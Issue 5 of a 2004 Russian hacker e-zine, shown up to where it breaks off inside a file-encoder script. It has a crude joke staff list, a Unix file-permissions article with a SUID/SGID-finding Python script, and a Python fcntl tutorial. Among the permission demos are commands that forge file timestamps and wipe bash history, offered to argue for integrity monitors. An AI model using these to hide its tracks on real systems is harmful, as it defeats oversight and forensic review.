· ._ _. ·
-'-∙- . _ _ . -∙-`-
"We're Behind ` `∙-. .-∙'
Schedule" ` ' .
: -
Australian Federal Police (c) · ·
_ .∙-' `-∙. _
· -∙-∙∙' `∙∙-∙- ·
.xx!@k.
@ &
$ network underground magazine [KZ], issue 5.
F ` D . S (c) 2004, The "Feeling Of Digital Streams".
5 All rights and lefts reserved.
@ 5
∙yy!Q!∙
A R E Y O U R E A D Y ?!
,--------------,
,-----: FDS #5 Staff :---------,
: `--------------' :
: `------------------------------------,
: :
: b3$t_m0w1 <[email protected]> - editor/papers/codes/vodka/drug :
: :
: Scorpio <[email protected]> - papers/codes/radio/beer :
: :
: leet small doggie Tuzik - chappie/cats/dogs :
: :
: leet small cat Kuzya - hacking/coding/anarching/cats :
: :
: Usama ben Laden <[email protected]> - terrorism/atomic/chaos :
: :
: G.Bush <[email protected]> - anal/oral/extrim/hardcore/zOO :
: :
: Putin V.V. < & |TOP SECRET| & > - ENCRYPTED CONFIDENCIAL DATA!!! :
: :
: Nazarbaev N.A. <i dont know :) > - khabar/2030/social_engineering :
: :
: Tolik'z mommy <махан@зона.орг> - качалка/рэкет/крыша/быки/жуки :
: :
: that's all! :
: :
`-----------------------------------------------------------------------'
,---------------------,
,-----: Crazzy FDS leet shit :--,
: `---------------------' :
: `------------------------------------,
: :
: official FDS web - site: href:http://feelds.by.ru :
: :
: official FDS e - mail: <[email protected]> :
: :
: official FDS's friends: ---------------------------------------- :
: -- A.C.E.'7'GROUP ---------------------- :
: -- href:http://web.host.kz/romz -------- :
: ---------------------------------------- :
: :
: ---------------------------------------- :
: -- DEFACED RUSSIAN UNDERGROUND ZINE ---- :
: -- href:http://defaced.sunlimited.ru --- :
: ---------------------------------------- :
: :
: official FDS drink: beer, Coca, vodka, vodka & vodka (c) :
: :
: official FDS music style: PUNK'z!!! Exploited, Purgen, Sex Pistols :
: :
: official FDS sigaretzz: RED SOVEREIGN (FINEST VIRGINIA) :
: :
: official FDS shoot - game: Counter - Strike 1.6 (meverikz forever!) :
: :
: official FDS sport - game: da Basket anda Football...........!! :
: :
: official FDS mess. to all: Hey, BOY's! Hey, GIRL's! :
: FDS has ewer lame ass! :
: :
`-----------------------------------------------------------------------'
,-------------------,
,-----: Table of contents :----,
: `-------------------' :
: `------------------------------------,
: :
: :
: 01. Introduction :
: :
: 02. Файлы, права, аттрибуты или "как поддержать защиту вашей ОС" :
: :
: 03. fcntl. Изучаем работу системных вызовов fcntl() и ioctl() в UNIX :
: :
: 04. FDS "light lame" file encoder/decoder :
: :
: 05. В поисках системы... Прозвонка, пулы, бесплатные сервисы :
: :
: 06. Уродование системы как метод обеспечения личной безопасности :
: :
: 07. Генерирование сетевых пакетов на свой вкус. Разбор модуля btk :
: :
: 08. Orthodox Xmas - можно ли в это верить? :
: :
: 09. Кое - что о брутфорсинге :
: :
: 10. Close words :
: :
: :
`-----------------------------------------------------------------------'
,-----------------------------------------------------------------------,
: Introduction :
`-----------------------------------------------------------------------'
by b3$t_m0w1 <[email protected]>
После продолжительного затишья, которое для нас не совсем характерно, вышел
в свет пятый выпуск сетевого журнала "Feeling of Digital Streams". Людей над
ним работало не много, хотя как ожидалось стафф пополнится некоторыми инте-
ресными и известными в сети людьми. Но на деле оказалось совсем наоборот -
как весь четвёртый - да и третий - этот выпуск сделал один человек, автор
этих строк =).
Возможно, данное обстоятельство накладывает на контент зайна своеобразный
негативный отпечаток. И это не мое собственное мнение, а мнения тех людей,
которые присылали свои письма на официальный почтовый ящик журнала.
Но всё-таки немного в сети таких людей, которые представили бы отличный
контент обо всём сразу: и о win32, *ix платформах, программировании, сете-
вых исследованиях. Да и поэтом, я просто не обязан предоставлять контент,
который хотите ВЫ. Конечно икскьюз за жесткое откровение, но просто выводят
из себя е - мэйлы с примерно следующим содержанием: "b3$t_m0w1 - ты то ли
кидис, то ли хуюдис, то ли ламер конченный! Статьи у тебя беспонтовые, и
вообще ты заебал всех своим питоном." Хех =), когда получаешь такое письмо
становится мягко говоря неприятно, думаешь: "а и ну их всех к чертям собачь-
им, не буду продолжать работу над зайном - посвящу всё свободное время на
самообразование..". Но вспыхивающие в мозгу недавно услышанные слова:
"мне говорили, что я лишний. меня ломали из-за правды. меня хотели переде-
лать - но я стоял на своём!" ставят всё на свои места, становится понятно -
никто не вправе влиять на мои интересы, на мои увлечения, я волен делать
то, что хочу. А действительно ламеров и поганых сетевых идиотов, которые
портят всё настроение и творческий настрой, хватало всегда.
CUL!
from b3$t_m0w1...
,-----------------------------------------------------------------------,
: Файлы, права, аттрибуты или "как поддержать защиту вашей ОС" :
`-----------------------------------------------------------------------'
by b3$t_m0w1 <[email protected]>
Привет! Меня зовут b3$t_m0w1 и ты читаешь мою статью, которую я написал для
тебя. Думаю, что я не зря старался и ты отнесёшься к моему пэйперу по-серь-
ёзнее. В противном случае какого хрена ты вообще скачал этот журнал?
Итак. Как файлы, которые имеются на твоём компьютере, права и аттрибуты,
назначенные им, могут повлиять на компроментацию твоей системы? Вначале
краткий дисклэйм для "начинающих".
Структура файловых систем, используемых в операционных системах ASPLinux,
Mandrake Linux, Linux RedHat, SuSe Linux, Knoppix (а это как правило -
ext2, ext3, etc..), состоит из корневого каталога, в свою очередь состояще-
го из каталогов /bin, /sbin, /dev, /var, /usr, /home, etc... Как нетрудно
догадаться, различие названий заключается в типах и назначении файлов, ко-
торые хранятся в данных каталогах.
Каждый файл, хранящийся в системе имеет своего хозяина, соответственно гр.,
три даты обращения к данному файлу(создание, последнее изменение, последнее
чтение), а также права, разрещающие чтение, запись, выполнение. Относитель-
но "временных" аттрибутов файлов, то есть дат обращения к файлам, сразу же
хочеться сказать следующее. Если вы полагаетесь на так сказать "ручной"
просмотр файловой системы, то примите мои соболезнования. Проведение любых
действий с вашими файлами, а затем изменение даты последнего обращения к
нему не составляет особого труда. К примеру:
best_mowi@localhost test# ls
test1 test2 test3 test4
best_mowi@localhost test# ls -la
итого 12
drwxr-xr-x 2 best_mowi best_mowi 4096 Мар 22 01:22 ./
drwxr-xr-x 32 best_mowi best_mowi 4096 Мар 22 01:34 ../
-rw-r--r-- 1 best_mowi best_mowi 7 Мар 22 01:22 test1
-rw-r--r-- 1 best_mowi best_mowi 0 Мар 22 01:22 test2
-rw-r--r-- 1 best_mowi best_mowi 0 Мар 22 01:22 test3
-rw-r--r-- 1 best_mowi best_mowi 0 Мар 22 01:22 test4
best_mowi@localhost test# echo > test1
best_mowi@localhost test# ls -la
итого 12
drwxr-xr-x 2 best_mowi best_mowi 4096 Мар 22 01:22 ./
drwxr-xr-x 32 best_mowi best_mowi 4096 Мар 22 01:34 ../
-rw-r--r-- 1 best_mowi best_mowi 1 Мар 22 01:34 test1
-rw-r--r-- 1 best_mowi best_mowi 0 Мар 22 01:22 test2
-rw-r--r-- 1 best_mowi best_mowi 0 Мар 22 01:22 test3
-rw-r--r-- 1 best_mowi best_mowi 0 Мар 22 01:22 test4
best_mowi@localhost test# touch -r test2 test1
best_mowi@localhost test# ls -la
итого 12
drwxr-xr-x 2 best_mowi best_mowi 4096 Мар 22 01:22 ./
drwxr-xr-x 32 best_mowi best_mowi 4096 Мар 22 01:34 ../
-rw-r--r-- 1 best_mowi best_mowi 1 Мар 22 01:22 test1
-rw-r--r-- 1 best_mowi best_mowi 0 Мар 22 01:22 test2
-rw-r--r-- 1 best_mowi best_mowi 0 Мар 22 01:22 test3
-rw-r--r-- 1 best_mowi best_mowi 0 Мар 22 01:22 test4
И в довершении:
best_mowi@localhost test# echo > ~/.bash_history
Конечно же, это очень примитивно, но если вы, к примеру, не пользуетесь ни-
какими продвинутыми файловыми мониторами, то у меня, к сожалению, будет
сильная уверенность того, что затроянив все файлы в вашей системе, вашу жо-
пу очень сильно поимеют. А возможно и не только вашу жопу, а жопы всех
пользователей, которые зарегистрированы в вашей системе. Так что, gota
tripwire and afick. Кстати, с проектом afick, портированного кроме UNIX,
ещё и на MS Windows системы, вы можете познакомиться поближе - заглянуть
стоит на http://sourceforge.net/projects/afick.
Ок'ей! Поехали дальше.
Как я уже выше пометил, каждый файл в системе имеет свои права доступа.
Права доступа - это есть разрешения или неразрешения читать, писать, выпол-
нять файл определённым пользователям, а также пользователям определённых
групп. Смена прав доступа осуществляется с помощью команды chmod и для оп-
ределённого файла может выполняться только владельцем этого файла. В аргу-
менты передаются u(user), g(group), o(other), a(user, group, other), +, -,
= то есть разрешить, запретить и присвоить права, а также r(читать), w(пи-
сать), x(выполнять). Возможно, кому - то это покажется лишним, что я приво-
жу такое описание, но как я уже говорил, есть вероятность, что данную ста-
тью возможно будут читать "маленькие" читатели. Права доступа можно прос-
мотреть так:
best_mowi@localhost Twisted-1.1.0$ ls -la
итого 224
drwxr-xr-x 10 best_mowi best_mowi 4096 Ноя 8 13:25 ./
drwxr-xr-x 32 best_mowi best_mowi 4096 Мар 22 01:34 ../
drwxr-xr-x 2 best_mowi best_mowi 4096 Ноя 8 13:15 admin/
drwxr-xr-x 2 best_mowi best_mowi 4096 Ноя 8 13:16 bin/
drwxr-xr-x 5 best_mowi best_mowi 4096 Ноя 8 13:24 build/
-rw-rw-r-- 1 best_mowi best_mowi 117728 Ноя 8 13:15 ChangeLog
-rw-rw-r-- 1 best_mowi best_mowi 1220 Ноя 8 13:15 CREDITS
drwxr-xr-x 2 best_mowi best_mowi 4096 Ноя 8 13:15 debian/
-rw-rw-r-- 1 best_mowi best_mowi 1374 Ноя 8 13:15 INSTALL
-rw-rw-r-- 1 best_mowi best_mowi 26421 Ноя 8 13:15 LICENSE
-rw-rw-r-- 1 best_mowi best_mowi 1263 Ноя 8 13:15 MANIFEST.in
-rw-rw-r-- 1 best_mowi best_mowi 7033 Ноя 8 13:15 README
drwxr-xr-x 18 best_mowi best_mowi 4096 Ноя 8 13:15 sandbox/
-rw-rw-r-- 1 best_mowi best_mowi 938 Ноя 8 13:15 setup.cfg
-rw-rw-r-- 1 best_mowi best_mowi 12189 Ноя 8 13:15 setup.py
drwxr-xr-x 2 best_mowi best_mowi 4096 Ноя 8 13:15 static/
drwxr-xr-x 27 best_mowi best_mowi 4096 Ноя 8 13:24 twisted/
drwxr-xr-x 2 best_mowi best_mowi 4096 Ноя 8 13:15 win32/
best_mowi@localhost Twisted-1.1.0$
Самый первый столбец и "есть" права доступа. Начиная со второй позиции сле-
ва, первые три отображают права владельца, вторые три пользователей группы,
третьи три - другие.
Теперь мы вплотную подошли к рассмотрению проблеммы setuid и setgid битов.
Программа, имеющая setuid - бит (Set-user-ID root), всегда запускается под
рутом. Соответственно, это очень опасно, так как данный бит может иметь, к
примеру, программа, подверженная атаке "buffer overflow".
root@localhost suids# find ./ -type f -perm +6000 -ls
165778 4 -rwSr-Sr-- 1 best_mowi best_mowi 1 Мар 22 04:13 ./suid1
165779 0 -rwSr-Sr-- 1 best_mowi best_mowi 0 Мар 22 04:17 ./suid2
165780 0 -rwSr-Sr-- 1 best_mowi best_mowi 0 Мар 22 04:10 ./suid3
165781 0 -rwSr-Sr-- 1 best_mowi best_mowi 0 Мар 22 04:37 ./suid4
root@localhost suids# chmod -s suid1 suid2 suid3 suid4
root@localhost suids# find ./ -type f -perm +6000 -ls
root@localhost suids# ls -la
итого 12
drwxr-xr-x 2 best_mowi best_mowi 4096 Мар 22 01:22 ./
drwxr-xr-x 32 best_mowi best_mowi 4096 Мар 22 02:48 ../
-rw-r--r-- 1 best_mowi best_mowi 1 Мар 22 04:13 suid1
-rw-r--r-- 1 best_mowi best_mowi 0 Мар 22 04:17 suid2
-rw-r--r-- 1 best_mowi best_mowi 0 Мар 22 04:10 suid3
-rw-r--r-- 1 best_mowi best_mowi 0 Мар 22 04:37 suid4
root@localhost suids# yea! we do it =)
bash: syntax error near unexpected token `)'
root@localhost suids#
Что - что, а "хладнокровная" паранойя, парни, всегда себя оправдывала )).
Следует сказать, что подобные действия не обязательно выполнять вручную. В
частности, в 63 - м номере phrack'a, в разделе TOOLZ ARMORY приведён исход-
ный код программы 0х333sfl.c, автоматизирующей нужные нам действия.
Кратко рассмотрим принцип её работы: производится скан директорий, опреде-
лённых пользователем, и, как основа работы всей программы, сравнение режи-
мов файлов с нужным нам. То есть, если рассмотреть всё это с позиции при-
вычной мне, имеем следующую ситуацию. Пользуемся функцией listdir модуля
dircache - возвращаем список файлов нужной нам директории. К примеру:
list = dircache.listdir("<directory>")
Далее в цикле определяем режимы всех файлов, содержащихся в папке:
for loop in xrange(0, len(list)):
MODE=os.stat(list[loop])[stat.ST_MODE]
А затем, как и было реализовано nsn'ом [www.0x333.org], берём определённый
бит из значения режима путём побитового И с маской, в которой установлен
только этот бит. Именно поэтому мы и были с вами свидетелями строк:
if ((perm.st_mode & S_ISUID) || (perm.st_mode & S_ISGID)) {,
что в "упрощённом" =) python'овском виде:
if (MODE & stat.S_ISUID): # для SUID
if (MODE & stat.S_ISGID): # для SGID
Очень хотел написать к этой статье программу, аналогичную 0х333sfl.c, но
затем поразмыслил и подумал, что сочтут за риппера и поэтому ограничился
лишь кратким описанием. Хотя пусть знают, что мы тоже не лыком шиты - так
что держите эдакую ПоКовскую версию.. Хотите полной функциональности?
Хех... Пользуйтесь 0x333sfl.c! Ааааа, хотите догнаться? Ну тогда с вас ещё
"пару условных веток" при побитовых сравнениях )
[ start :: FDSgepatitsuid.py :: start ]
#!/usr/bin/python
#
###############################################################################
## ##
## b3$t_m0w1 <[email protected]> from "FEELING OF DIGITAL STREAMS" presents: ##
## ##
## $Id: FDSgepatitsuid.py $ $Date: 27/03/2004 ##
## searching "SUID & SGID ROOT" files. ##
## for usage this small python script you must have root. ##
## ##
## tested on: MANDRAKE LINUX 9.0 (with python 2.2.1) ##
## ##
## greet's 2: */* "Defaced" underground zine staff (2 euronymous especially) ##
## */* "a.c.e.'7'" demo group (2 n00F & GoodWind) ##
## */* ncroot (phrom www.npoison.ru forum)! ##
## */* Scorpio! ##
## */* my parents!! ##
## ##
## This program is free software; you can redistribute it and/or ##
## modify it under the terms of the GNU General Public License ##
## as published by the Free Software Foundation; either version 2 ##
## of the License, or (at your option) any later version. ##
## ##
## This program is distributed in the hope that it will be useful, ##
## but WITHOUT ANY WARRANTY; without even the implied warranty of ##
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ##
## GNU General Public License for more details. ##
## ##
###############################################################################
"""searching "SUID & SGID ROOT" files"""
__program__ = "FDSgepatitsuid"
__version__ = "0.0.1"
__copyright__ = "copyright (c) 2004 b3$t_m0w1"
__author__ = "b3$t_m0w1 <[email protected]>"
__license__ = "GPL (GNU GENERAL PUBLIC LICENSE)"
try: from dircache import *
except Exception: print "dircache module import error!"
try: from time import *
except Exception: print "time module import error!"
try: import stat
except Exception: print "stat module import error!"
try: import os
except Exception: print "os module import error!"
try: import sys
except Exception: print "sys module import error!"
try: import errno
except Exception: print "errno module import error!"
def main():
try:
if ((len(sys.argv)==1) or (sys.argv[1]=="-h")):
def show(prompt):
print >> sys.stderr, prompt
show("options:")
show(" -v --version program version and exit")
show(" -h --help this help prompt")
show(" -p --path gepatit infected directory")
sys.exit(0)
if (sys.argv[1]=="-v"):
print __program__+" (FDS system frobbie)"+__version__
print "author: "+__author__+"\n"
print __copyright__
print "license: "+__license__
sys.exit(0)
if (sys.argv[1]=="-p"):
if ((os.getegid()==0) and (os.geteuid()==0)):
if (os.path.exists(sys.argv[2])):
suid_loop=0
sgid_loop=0
list=listdir(sys.argv[2])
scan_time=localtime(time())
log_title="scanning "+str(sys.argv[2])+\
" at "+strftime("%d.%m.%Y %H:%M:%S",scan_time)
lenght=len(log_title)
file_log=open("/tmp/gepatitsuid.log", "w")
file_log.write("\t############################################\n")
file_log.write("\t# gepatitsuid log-file. #\n")
file_log.write("\t# created by "+__author__+" #\n")
file_log.write("\t# from [the FDS]: http://feelds.by.ru #\n")
file_log.write("\t# "+__copyright__+" #\n")
file_log.write("\t# "+__license__+" #\n")
file_log.write("\t############################################\n")
for lenloop in xrange(0, lenght):
file_log.write("-")
file_log.write("\n"+log_title+"\n")
for lenloop in xrange(0, lenght):
file_log.write("-")
if (lenloop == lenght-1):
file_log.write("\n")
for loop1 in xrange(0, len(list)):
MODE1=os.stat(list[loop1])[stat.ST_MODE]
if (MODE1 & stat.S_ISUID):
suid_loop+=1
file_log.write("[~] `"+str(list[loop1])+"` file has SUID-bit.\n")
# IMPORTANT NOTES +++++++++++++++++++++++++++++++++++++++++++++++++++
# next code - line you can append to gepatitsuid.py on your own risk!
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# os.system("chmod u-s "+sys.argv[2]+"/"+list[loop1])
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
for loop2 in xrange(0, len(list)):
MODE2=os.stat(list[loop2])[stat.ST_MODE]
if (MODE2 & stat.S_ISGID):
sgid_loop+=1
file_log.write("[~] `"+str(list[loop2])+"` file has SGID-bit.\n")
# IMPORTANT NOTES +++++++++++++++++++++++++++++++++++++++++++++++++++
# next code - line you can append to gepatitsuid.py on your own risk!
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
# os.system("chmod g-s "+sys.argv[2]+"/"+list[loop2])
#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
for lenloop in xrange(0, lenght):
file_log.write("-")
file_log.close()
print "In dir "+str(sys.argv[2])+" total finded "+str(suid_loop)+\
" SUID and "+str(sgid_loop)+" SGID files."
print "Check your output log - file `/tmp/gepatitsuid.log`."
sys.exit(0)
reset()
else:
print os.strerror(errno.ENOENT)
sys.exit(1)
else:
print os.strerror(errno.EACCES)
sys.exit(1)
except KeyboardInterrupt:
print os.strerror(errno.EINTR)
sys.exit(1)
except IndexError:
print os.strerror(errno.EINVAL)
sys.exit(1)
except IOError:
print os.strerror(errno.EIO)
sys.exit(1)
if (__name__ == "__main__"): main()
[ end :: FDSgepatitsuid.py :: end ]
Ещё одним моментом, косвенно доказывающем о уже совершившимся факте компро-
ментации бокса, является наличие в вашей файловой системе файлов без хозяи-
на и группы. "Отлавливать" такие файлы возможно с помощью несложной коман-
ды:
root@localhost suids# find / -nouser -o -nogroup
Также некоторую ценность представляет работа следующих стандартных UNIX-ов-
ских команд, используемых при изменении и отображении характеристик файлов:
это - lsattr и chattr. Объяснять их не буду, оставляю чтение man'ов вам на
домашнее задание.
Файлы, их права и аттрибуты могут доставить вам слишком много проблем, как
не смешно это может звучать. Чтобы не допустить неприятных последствий, ре-
гулярно сканируйте вашу файловую систему, пользуйтесь продвинутыми файловы-
ми мониторами, не ленитесь проводить тотальную ревизию - поверьте мне, на-
дёжность защищенности вашей системы находится в ваших руках.
P.S. прошу прощения у читателей за некоторую сумбурность в предоставлении
материала, но так как информации на подобную тему в сети хватает, при-
шлось пойти на некоторое полуоригинальное (если конечно можно так ска-
зать) предоставление статьи вцелом =)
,-----------------------------------------------------------------------,
: fcntl. Изучаем работу системных вызовов fcntl() и ioctl() в UNIX. :
`-----------------------------------------------------------------------'
by b3$t_m0w1 <[email protected]>
Я не профессионал в данной области, но думаю, что некоторые мои изыскания
вам просто интересно будет просмотреть. Также следует предупредить чита-
теля о том, что при написании данного пэйпера автором "долгими бессонными
ночами" использовались многочисленные мануалы, хелпы, маны, етс ))
А оно и не удивительно, учитывая крайне скудное количество документов, по-
добных этой статье.
Итак, модуль fcntl входит в набор стандартных модулей python'а, разрабо-
танных специально для UNIX - систем. В отличие от многих модулей, fcntl
написан на СИ, что конечно же не удивительно, учитывая его цели и предназ-
начения.
Как видно из названия нашей темы, fcntl даёт нам возможность работы со
стандартными системными вызовами fcntl() и ioctl() - то есть работа с фай-
ловым вводом/выводом, а также операции управления дескрипторами файлов. В
целом же работа модуля fcntl зависит от отдельных модулей FCNTL и IOCTL,
содержащих различные необходимые константы.
Начав работу с fcntl, вы просто обязаны знать такие фундаментальные вещи,
как файловый дескриптор или же, к примеру, дескриптор сокета, так как
эти понятия являются самыми определяющими при работе с нашем сабжем. Для
их объяснения немного отвлечёмся.
Иногда возникают ситуации, когда процессы в ходе своего жизненного цикла
должны иметь доступ к некоторым файлам. Примерами таких процессов могут
являться действия различных утилит мониторинга, дампирующих всю рабочую
информацию в специальные лог - файлы. Так вот операционная система UNIX,
построена таким образом, что файлы, открытые в нашем случае утилитой мо-
ниторинга, учитываются ею (ОС) в виде целых чисел. Проще говоря, файловый
дескриптор - это число и все операции, производящиеся над ним (дескрипто-
ром), по сравнению с операциями над "файловыми объектами" являются более
низкоуровневыми.
Сам python и операционная система UNIX предоставляют широкие возможности
для работы с файловыми дескрипторами - с ними вы можете познакомиться,
изучив модуль os.
Нижеследующий код демонстрирует некоторые приёмы в работе с файловыми
дескрипторами:
[ start :: FDSexample1.py :: start ]
#!/usr/bin/env python
#
## FDSexample1.py by b3$t_m0w1 (C)
## http://feelds.by.ru | <[email protected]>
## Apr 18 18:50:00 2004
import os
def main():
fd1 = os.open("test1.tst", os.O_WRONLY | os.O_APPEND | os.O_CREAT)
fd2 = os.open("test2.tst", os.O_WRONLY | os.O_APPEND | os.O_CREAT)
test_string1 = "It's only for testing..\n"
test_string2 = "fd1 == fd2"
os.write(fd1, test_string1)
os.close(fd1)
print "+++++++++++++++++++++++"
print "\"test1.tst\" fd1 num is: " + str(fd1)
print "\"test2.tst\" fd2 num is: " + str(fd2)
print "+++++++++++++++++++++++"
print "content of \"test1.tst\":"
os.system("cat test1.tst")
print "+++++++++++++++++++++++"
if (os.isatty(fd1)): print "\"test1.tst\" is tty-device."
else: print "\"test1.tst\" isn't tty-device."
print "+++++++++++++++++++++++"
if (fd1 == fd2):
os.write(fd2, test_string2)
os.system("cat test2.tst")
else: print " fd1 != fd2 (" + str(fd1) + " != " + str(fd2) + ")"
print "+++++++++++++++++++++++"
if (__name__ == "__main__"): main()
[ end :: FDSexample1.py :: end ]
Не сложно предугадать результат работы данного простого скрипта:
best_mowi@localhost test$ ./FDSexample1.py
+++++++++++++++++++++++
"test1.tst" fd1 num is: 3
"test2.tst" fd2 num is: 4
+++++++++++++++++++++++
content of "test1.tst":
It's only for testing..
+++++++++++++++++++++++
"test1.tst" isn't tty-device.
+++++++++++++++++++++++
fd1 != fd2 (3 != 4)
+++++++++++++++++++++++
best_mowi@localhost test$
Файлу test1.tst операционная определила файловый дескриптор, как це-
лое число 3, test2.tst - 4. С помощью функции write() модуля os мы
записали строку "It's only for testing..\n" в файл test1.tst, а затем
вывели его содержимое на консоль.
Функция isatty() c единственным параметром (файловым дескриптором)
возвращает 1 в случае, если файл с файловым дескриптором является
tty - устройством, и 0 - в противном случае. Именно поэтому резуль-
тату наших инструкций удивляться не стоит.
Таким образом вы увидели, что файловые дескрипторы очень полезны, то
есть с помощью них можно достигать определённой гибкости в работе с
файлами. Но следует сказать, что если в использовании файловых деск-
рипторов нет особой надобности, старайтесь работать с высокоуровне-
ми операциями над файловыми объектами.
Вот в принципе все начальные моменты, которые должен знать человек,
ранее никогда не встречавшийся с понятиями "файлового дескриптора".
Идём дальше...
Для дальнейшего ознакомления с модулем fcntl, рассмотрим на практи-
ческих примерах работу функций, определённых в нём (модуле).
В начале я указывал, что модуль fcntl не является так сказать "перво-
источником", а опирается на отдельные модули, точнее на константы,
обеспечивающие работу функций. Библиотека fcntl.h и определяет данные
константы.
Нам понадобятся:
# define LOCK_SH 1 /* shared lock */
# define LOCK_EX 2 /* exclusive lock */
# define LOCK_NB 4 /* or'd with one of the above to prevent
blocking */
# define LOCK_UN 8 /* remove lock */
LOCK_* - это операции, необходимые для так называемого "захвата" деск-
рипторов файлов (что такое дескрипторы, вы уже знаете).
Их работу вы сможете увидеть ниже, ознакомившись с первой функцией
модуля fcntl, рассмотрением которой мы сейчас и займёмся.
fcntl.flock(FD, OP) - выполняет над файловым дескриптором одну из ука-
занных выше операций захвата, где FD - это фай-
ловый дескриптор, а OP - одна из операций LOCK_*
LOCK_SH - описывает расшаренный захват. Другими словами захват могут
осуществлять один, два, три и более процессов;
LOCK_EX - иксклюзивный захват, то есть дескриптор файла может быть зах-
вачен только одним процессом в данный момент времени;
LOCK_UN - а данную операцию необходимо осуществлять в конце каждых
инструкций так или иначе связанных с функцией fcntl.flock(),
то есть если вы, к примеру, ставите замок в начале вашей
программы - его так или иначе придёться снять;
LOCK_NB - NB: это абревиатура NON-BLOCKING LOCK. Константа, при зада-
нии которой будет исключаться блокировка процесса при приме-
нении захвата.
Для того, чтобы вы поняли хотя бы смысл использования данных операций,
рассмотрим простенький пример.
Имеем чистый файл dump.txt и две простенькие программы:
[ start :: FDSexample2.py :: start ]
#!/usr/bin/env python
#
## FDSexample2.py by b3$t_m0w1 (C)
## http://feelds.by.ru | <[email protected]>
## May 2 13:08:02 2004
import os, time, fcntl
file = open('dump.txt', 'a')
fcntl.flock(file.fileno(), fcntl.LOCK_EX)
os.write(file.fileno(), 'it\'s only for testing...')
time.sleep(20)
fcntl.flock(file.fileno(), fcntl.LOCK_UN)
file.close()
[ end :: FDSexample2.py :: end ]
[ start :: FDSexample3.py :: start ]
#!/usr/bin/env python
#
## FDSexample3.py by b3$t_m0w1 (C)
## http://feelds.by.ru | <[email protected]>
## May 2 13:09:59 2004
import os, fcntl
file = open('dump.txt', 'a')
fcntl.flock(file.fileno(), fcntl.LOCK_EX)
os.write(file.fileno(), ' second lock!')
fcntl.flock(file.fileno(), fcntl.LOCK_UN)
file.close()
[ end :: FDSexample3.py :: end ]
Если мы используем (как и указано выше) LOCK_EX, то после запуска второго
примера, последующий запущенный третий тоже будет ждать 20 секунд. Это
объясняется тем, что на dump.txt будет наложен монопольный захват и
именно поэтому процесс третьего примера будет ждать его окончания. Если же
мы будем использовать LOCK_SH, то есть расшаренный захват, то FDSexample3.py
не будет ждать 20 секунд, а сразу получит доступ к dump.txt!
В обоих случаях использования LOCK_EX и LOCK_SH содержимое файла dump.txt
не изменяется: it's only for testing... second lock!
Как я уже и сказал, отличие заключается только в ожидании снятия захвата
одним процессом другого процесса.
Операцию LOCK_NB оставляю на вас (должны же вы хоть что - то делать)..
Итак, следующая функция:
fcntl.fcntl(FD, OP, [ARG]) - где FD - файловый дескриптор, OP - операция,
которая будет выполнена над FD, ARG - целое
число или `char a[1024]' =)) (строка длиною -
1024 символа)..
Как и в случае c fcntl.flock(), константы, необходимые для обозначения
операций OP также находятся в библиотеке fcntl.h
Полное их описание вы можете просмотреть набрав в консоли `man 2 fcntl`,
мы же ограничимся небольшим дампом из библиотеки и маленьким примером.
/* Values for the second argument to `fcntl'. */
#define F_DUPFD 0 /* Duplicate file descriptor. */
#define F_GETFD 1 /* Get file descriptor flags. */
#define F_SETFD 2 /* Set file descriptor flags. */
#define F_GETFL 3 /* Get file status flags. */
#define F_SETFL 4 /* Set file status flags. */
# define F_GETLK 5 /* Get record locking info. */
# define F_SETLK 6 /* Set record locking info (non-blocking). */
# define F_SETLKW 7 /* Set record locking info (blocking). */
/* For posix fcntl() and `l_type' field of a `struct flock' for lockf(). */
#define F_RDLCK 0 /* Read lock. */
#define F_WRLCK 1 /* Write lock. */
#define F_UNLCK 2 /* Remove lock. */
..для примера, так сказать, рассмотрим работу одной из операций..
Итак, F_GETFL. Данная операция возвращает флаги, установленные при open(),
то есть флаги чтения, записи, дозаписи, етс.. Подробнее:
[ start :: FDSexample4.py :: start ]
#!/usr/bin/env python
#
## FDSexample4.py by b3$t_m0w1 (C)
## http://feelds.by.ru | <[email protected]>
## May 2 14:44:24 2004
import os, fcntl
file = open('dump.txt', 'a')
fd = file.fileno()
print fcntl.fcntl(fd, fcntl.F_GETFL)
file.close()
[ end :: FDSexample4.py :: end ]
В программе указан режим, позволяющий дозаписывать в конец, небольшой же
перечень флагов будет выглядеть следующим образом:
при 'r' - 32768
'w' - 32769
'a' - 33793, etc...
Это в принципе вся работа F_GETFL. Особенности работы других констант
рассмотрите самостоятельно, как и оставшиеся нерассмотренными
функции fcntl.lockf(), работа которой в некотором роде аналогична рабо-
те функции fcntl.flock(), а также мощную функцию fcntl.ioctl(), в боль-
шой степени применяемой для управления I/O файлов - устройств, такими
как tty - устройства (налицо некоторая связанность с termios, необхо-
димым для работы с терминалами по стандарту POSIX).
Это всё, что я хотел рассказать вам о модуле fcntl, предоставляющим
возможности управления файловыми дескрипторами, файловым I/O, а также
интерфейс к системным вызовам fcntl() и ioctl() в UNIX.
Надеюсь, примеры, которые я приводил, позволили вам лучше "усвоить" ма-
териал..
CUL!
from b3$t_m0w1...
,-----------------------------------------------------------------------,
: FDS "light lame" file encoder/decoder :
`-----------------------------------------------------------------------'
by b3$t_m0w1 <[email protected]>
Как говорится, "stupid code". Простой кодировщик/декодировщик файлов, заме-
няющий все символы на двоичные представления их ASCII-кодов. Специально для
этих целей были написаны функции перевода bin2dec() & dec2bin().
Программа помогает увидеть всё в "реальном виде", жаль не в зелёном =)
[ start:: FDSEncode.py :: start ]
#!/usr/bin/env python
#
# FDSEncode.py v.1.0 - FDS "light lame" file encoder/decoder
# copyright (c) 2004 by b3$t_m0w1 <[email protected]>
#
# example of usage:
#
# root@localhost test# ls
# FDSEncode.py*
# root@localhost test# echo "It's only for testing" >> example.txt
# root@localhost test# ./FDSEncode.py --help
# FDSEncode.py v.1.0 - FDS "light lame" file encoder/decoder
# copyright (c) 2004 by b3$t_m0w1 <[email protected]>
# usage:
# for encode: unix# ./FDSEncode.py -e <input file> <output file>
# for decode: unix# ./FDSEncode.py -d <input file> <output file>
# root@localhost test# ./FDSEncode.py -e example.txt 1
# FDSEncode.py v.1.0 - FDS "light lame" file encoder/decoder
# copyright (c) 2004 by b3$t_m0w1 <[email protected]>
# [*] Input file: example.txt
# [*] Output file: 1
# [*] 22 bytes encoded
# [*] Check result..
# root@localhost test# ls
# 1 example.txt FDSEncode.py*
# root@localhost test# cat 1
